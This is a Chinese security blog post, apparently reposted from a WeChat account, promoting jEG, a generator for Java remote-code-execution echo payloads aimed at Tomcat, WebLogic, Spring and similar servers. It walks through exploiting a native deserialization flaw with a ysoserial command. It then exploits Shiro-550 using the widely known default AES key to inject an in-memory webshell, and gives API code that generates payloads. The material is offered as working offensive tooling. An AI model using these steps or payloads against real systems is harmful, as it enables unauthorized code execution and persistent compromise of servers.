jEG – 高度自定义的 Java 回显生成工具

渗透技巧 1年前 (2023) admin
282 0 0

0x01 工具简介

jEG (Java Echo Generator ) 是一款支持高度自定义的 Java 回显载荷生成工具。

功能介绍

  • 支持的中间件和框架
    • Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow
    • SpringMVC/Struts2
  • 支持的执行模式 (Command/Code)
  • 支持的输出格式 (BASE64/BCEL/BIGINTEGER/CLASS/JAR/JS)

执行模式

  • 命令执行回显
  • 代码执行回显(toString)

工作模式

  • 作为 独立的 GUI 工具
  • 作为 woodpecker 的插件
  • 作为 第三方库

下载地址

https://github.com/pen4uin/java-echo-generator-release

0x02 工具演示

两种执行模式

命令执行

0、测试环境说明

  • Tomcat v8.5.91
  • JDK 8
  • 原生反序列化漏洞
  • CommonsBeanutils2

1、生成对应命令执行回显的 payload,继承 AbstractTranslet

jEG - 高度自定义的 Java 回显生成工具

2、使用 yso 进行序列化利用封装

java -jar ysoserial-for-woodpecker-0.5.3-all.jar -g CommonsBeanutils2 -a "class_file:/Users/NotFound/Temp/SessionDataUtil.class" | base64

3、通过请求头 Cache-Control-Ymirvesoc 传入需要执行的命令,如图,命令成功执行并回显

jEG - 高度自定义的 Java 回显生成工具

代码执行

0、测试环境说明

  • SpringBoot 2.2.6.RELEASE
  • JDK 8
  • Shiro 550
  • CommonsBeanutils2_183

1、生成对应代码执行回显的 payload,继承 AbstractTranslet

jEG - 高度自定义的 Java 回显生成工具

2、使用 shiro 漏洞利用插件对 payload 进行加密处理

yso_gadget=CommonsBeanutils2_183yso_cmd=class_file:/Users/NotFound/Temp/CSVUtil.classshiro_key=kPH+bIxk5D2deZiIxcaaaA==aes_model=CBC

3、准备需要执行的代码,这里以shiro常见的漏洞利用场景作为演示 – 注入内存马,使用 jMG 生成BASE64格式的内存马注入器

jEG - 高度自定义的 Java 回显生成工具

4、通过请求参数 Dsyoi 传入需要执行的字节码,如图,代码成功执行并回显

jEG - 高度自定义的 Java 回显生成工具

5、内存马注入成功

jEG - 高度自定义的 Java 回显生成工具

三种工作模式

图形化

1、下载 jEG-gui-1.0.0.jar 运行即可

jEG - 高度自定义的 Java 回显生成工具

Woodpecker 插件

1、下载 jEG-woodpecker-1.0.0.jar 到 woodpecker 插件目录下即可

jEG - 高度自定义的 Java 回显生成工具

第三方库

1、下载 jEG-core-1.0.0.jar 并安装到本地 maven 仓库

mvn install:install-file -Dfile=jEG-core-1.0.0.jar -DgroupId=jeg -DartifactId=jeg-core -Dversion=1.0.0 -Dpackaging=jar

2、引入自己的框架/工具的依赖中

<dependency>
    <groupId>jeg</groupId>
    <artifactId>jeg-core</artifactId>
    <version>1.0.0</version>
</dependency>

3、调用 API 生成需要的回显载荷即可

// 基本配置
jEGConfig config = new jEGConfig() {{
    // 设置待回显的中间件为 tomcat
    setServerType(Constants.SERVER_TOMCAT);
    // 设置待执行的 payload 为命令执行回显
    setModelType(Constants.MODEL_CMD);
    // 设置 payload 的输出格式为 BASE64
    setFormatType(Constants.FORMAT_BASE64);
    // 初始化基础配置
    build();
}};
// 生成 payload
jEGenerator generator = new jEGenerator(config);
System.out.println("请求头: " + config.getReqHeaderName());
System.out.println(generator.getPayload());

0x03 最后

从 jMG 到 jEG,Java 漏洞利用的造“轮子”之旅也算可以告一段落了。

最后祝大家节日快乐!


参考

https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
https://gist.github.com/fnmsd/8165cedd9fe735d7ef438b2e977af327
https://github.com/feihong-cs/Java-Rce-Echo


原文始发于微信公众号(pen4uin):jEG – 高度自定义的 Java 回显生成工具

版权声明:admin 发表于 2023年9月28日 下午9:34。
转载请注明:jEG – 高度自定义的 Java 回显生成工具 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...